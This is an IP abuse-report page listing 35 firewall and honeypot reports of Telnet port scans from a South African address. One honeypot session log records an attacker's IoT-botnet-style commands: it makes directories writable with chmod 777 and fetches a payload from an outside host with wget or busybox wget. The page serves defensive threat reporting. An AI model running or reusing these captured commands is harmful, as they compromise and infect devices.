JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

102.165.74.156

Neutral Activity

Abuse Confidence Score

0% Low Risk

35 reports

23 reporters · latest 2 months ago

ISP: WiberSolutions (Pty) Ltd
Usage Type: Fixed Line ISP
ASN: AS328278
Domain Name: wibernet.co.za
Country: 🇿🇦 South Africa
City: Cape Town, Western Cape

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

102.165.74.156 has been reported 35 times. The most recent report is from 2 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

Abuse Reports

Export reports CSV

Total reports

35 from 23 distinct reporters

First reported

July 31st 2026

Most recent report

2 months ago

Reporter	IoA Timestamp (UTC)	Comment	Categories
Anonymous	2026-08-16 04:19:09 UTC · (2 months ago)	MikroTik Enterprise Honeypot	Port Scan
🇺🇸 RAP	2026-08-12 19:04:58 UTC · (3 months ago)	2026-08-12 19:04:58 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇺🇸 pcprincipal8752	2026-08-12 18:38:34 UTC · (3 months ago)	NULLPOT TELNET HONEYPOT · SESSION REPORT: 1) enable \| 2) system \| 3) shell \| 4) sh \| 5) linuxshell \| 6) enablelinuxshell \| 7) ping ;sh \| 8) busybox \| 9) cd /proc && cat self/cmdline \| 10) /bin/busybox \| 11) >/tmp/d && chmod 777 /tmp/d && /tmp/d && cd ... show more NULLPOT TELNET HONEYPOT · SESSION REPORT: 1) enable \| 2) system \| 3) shell \| 4) sh \| 5) linuxshell \| 6) enablelinuxshell \| 7) ping ;sh \| 8) busybox \| 9) cd /proc && cat self/cmdline \| 10) /bin/busybox \| 11) >/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/ \| 12) >/var/d && chmod 777 /var/d && /var/d && cd /var/ \| 13) >/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/ \| 14) >/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/ \| 15) >/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/ \| 16) >/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/ \| 17) >/data/d && chmod 777 /data/d && /data/d && cd /data/ \| 18) >/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/ \| 19) >/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/ \| 20) >/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/ \| 21) >/home/d && chmod 777 /home/d && /home/d && cd /home/ \| 22) >/root/d && chmod 777 /root/d && /root/d && cd /root/ \| 23) (wget http://185.93.89.72/wget -O- \|\| busybox wget http://185.93.89.72/wget -O-) > w; show less	Brute-Force
🇫🇷 Hiigara	2026-08-12 15:01:29 UTC · (3 months ago)	connection attempt : 102.165.74.156 on port : tcp/23 (Telnet)	Port Scan
🇺🇸 xmission.com	2026-08-12 14:44:08 UTC · (3 months ago)	Blocked by UFW (TCP on 23) Source port: 34514 TTL: 53 Packet length: 60 TOS: 0x00 This report (for 102.165.74.156) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter	Port Scan Hacking Brute-Force
🇫🇷 security.rdmc.fr	2026-08-12 13:01:26 UTC · (3 months ago)	Port Scan Attack proto:TCP src:35006 dst:23	Port Scan
🇩🇪 _ArminS_	2026-08-12 05:15:43 UTC · (3 months ago)	SP-Scan 51554:23 detected 2026.08.12 07:15:43 blocked until 2026.10.01 00:18:30	Port Scan
🇫🇮 iamxorum	2026-08-12 05:09:30 UTC · (3 months ago)	2026-08-12T05:09:29.919593+00:00 XRM-01 kernel: [TELNET-TRAP] IN=eth0 OUT= MAC=92:00:06:e6:da:95:d2:74:7f:6e:37:e3:08:00 SRC=102.165.74.156 DST=46.62.222.43 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=19183 DF PROTO=TCP SPT=42064 DPT=23 WINDOW=65535 RES=0x00 ... show more 2026-08-12T05:09:29.919593+00:00 XRM-01 kernel: [TELNET-TRAP] IN=eth0 OUT= MAC=92:00:06:e6:da:95:d2:74:7f:6e:37:e3:08:00 SRC=102.165.74.156 DST=46.62.222.43 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=19183 DF PROTO=TCP SPT=42064 DPT=23 WINDOW=65535 RES=0x00 SYN URGP=0 ... show less	Port Scan IoT Targeted
🇫🇷 vtchost.com	2026-08-12 00:16:41 UTC · (3 months ago)	2026-08-12T02:16:40.047099+02:00 vmi3491693 kernel: [457668.921978] PORTSCAN: IN=eth0 OUT= MAC=00:50:56:66:3e:63:c0:69:11:b3:a9:ed:08:00 SRC=102.165.74.156 DST=169.58.138.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=6850 DF PROTO=TCP SPT=32872 DPT=23 WINDOW ... show more 2026-08-12T02:16:40.047099+02:00 vmi3491693 kernel: [457668.921978] PORTSCAN: IN=eth0 OUT= MAC=00:50:56:66:3e:63:c0:69:11:b3:a9:ed:08:00 SRC=102.165.74.156 DST=169.58.138.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=6850 DF PROTO=TCP SPT=32872 DPT=23 WINDOW=65535 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇺🇸 Aurealize	2026-08-11 18:52:32 UTC · (3 months ago)	firewall port scanning detected. 2 or more observation(s) from 2026-08-11T18:52:32.000Z through 2026-08-11T18:52:32.000Z.	Port Scan
Anonymous	2026-08-11 13:00:19 UTC · (3 months ago)	Unauthorized access (23/tcp/telnet) Targeted IoT device:Unknown (Probability:High)	Port Scan IoT Targeted
🇱🇹 NotACaptcha	2026-08-11 11:54:42 UTC · (3 months ago)	Unauthorised access (Aug 11 14:54) SRC=102.165.74.156 LEN=60 TTL=50 ID=6944 DF TCP DPT=23 WINDOW=65535 SYN	Port Scan
🇺🇸 MPL	2026-08-11 11:35:27 UTC · (3 months ago)	tcp/23	Port Scan
🇺🇸 xmission.com	2026-08-11 04:42:46 UTC · (3 months ago)	Blocked by UFW (TCP on 23) Source port: 51508 TTL: 42 Packet length: 60 TOS: 0x08 This report (for 102.165.74.156) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter	Port Scan Hacking Brute-Force
🇫🇷 security.rdmc.fr	2026-08-11 02:52:29 UTC · (3 months ago)	Port Scan Attack proto:TCP src:42242 dst:23	Port Scan

Showing 1 to 15 of 35 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇺🇸 206.189.188.203

🇰🇷 203.252.10.4

🇬🇧 195.96.139.67

🇦🇷 190.55.123.151

🇬🇧 172.68.229.72

🇺🇸 157.230.60.108

🇺🇸 154.51.243.88

🇩🇪 151.243.11.47

🇳🇱 93.123.109.83

🇷🇴 92.118.39.78

🇳🇱 45.148.10.157

🇹🇼 34.80.255.44

🇺🇸 34.33.5.18

🇳🇱 34.1.228.226

🇺🇸 20.115.89.121

🇰🇷 14.57.186.60

🇺🇸 2604:a880:400:d1:0:5:6db3:5001

🇨🇳 218.3.253.210

🇳🇱 176.65.149.140

🇺🇸 157.22.19.172